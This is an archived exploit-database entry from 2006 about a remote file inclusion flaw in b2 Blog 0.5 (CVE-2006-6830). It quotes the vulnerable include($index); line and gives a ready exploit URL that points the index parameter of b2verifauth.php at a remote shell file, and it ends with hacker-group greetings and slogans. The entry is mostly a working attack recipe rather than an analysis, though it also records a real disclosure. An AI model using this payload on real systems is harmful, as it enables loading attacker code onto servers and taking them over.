b2 Blog 0.5 - 'b2verifauth.php' Remote File Inclusion

Author: mdx
type: webapps
platform: php
port: 
date_added: 2006-12-22  
date_updated:   
verified: 1  
codes: OSVDB-35715;CVE-2006-6830  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 2983.txt  

******************************************************************************************************
*b2 - 0.5 * [index] ******************* Remote File Ýnclude*******************************************
******************************************************************************************************
******************************************* +class : Remote File Include Vulnerability*
+******************************************************************************************************************
+Author : mdx
*
*****************************************************************************
+Files :                                                                    *
+b2verifauth.php? 							    *
*                                                                           *
**********************************************************************************
+code  :								         *
+									         *
+         include($index);							 *
+									         *
*********************************************************************************************
+ Exploit  :										    *
+********************************************************************************************+
+ http://www.site.***/[path]/b2verifauth.php?index=http://mdxshell.txt?  		     +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
=================================================================================================================
?		   Hi , The_bat_hacker , How are you ? ;=) 				     			*
?											     			*
? Thanks ; Cyber-WARRIOR TIM USERS, xoron , prohack ,leak , Ozii ,padisah, sakkure ,zip,y.$il abbad, dreamlord  *
?											     			*
?////////////////////////////////////////////////////////////////////////////////////////////////////////////////
?---------------------specials thanks  stroke ,SHiKaA----------------------------------------*
**********************************************************************************************
*******************									     *
*******************                   KORKULARINIZ SADECE KABUSLARINIZDIR..  		     *
*******************									     *
*******************                        Turkish Hacker by mdx  			     *
******************* 		   							     *
*******************                        Korkmak Kurtulmak Degildir.			     *
*******************              							     *
**********************************************************************************************

# milw0rm.com [2006-12-23]